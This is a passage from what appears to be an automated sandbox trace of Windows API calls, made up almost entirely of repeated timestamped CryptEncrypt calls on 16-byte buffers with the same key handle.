pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.227] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.228] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.229] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.230] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.231] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.232] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | 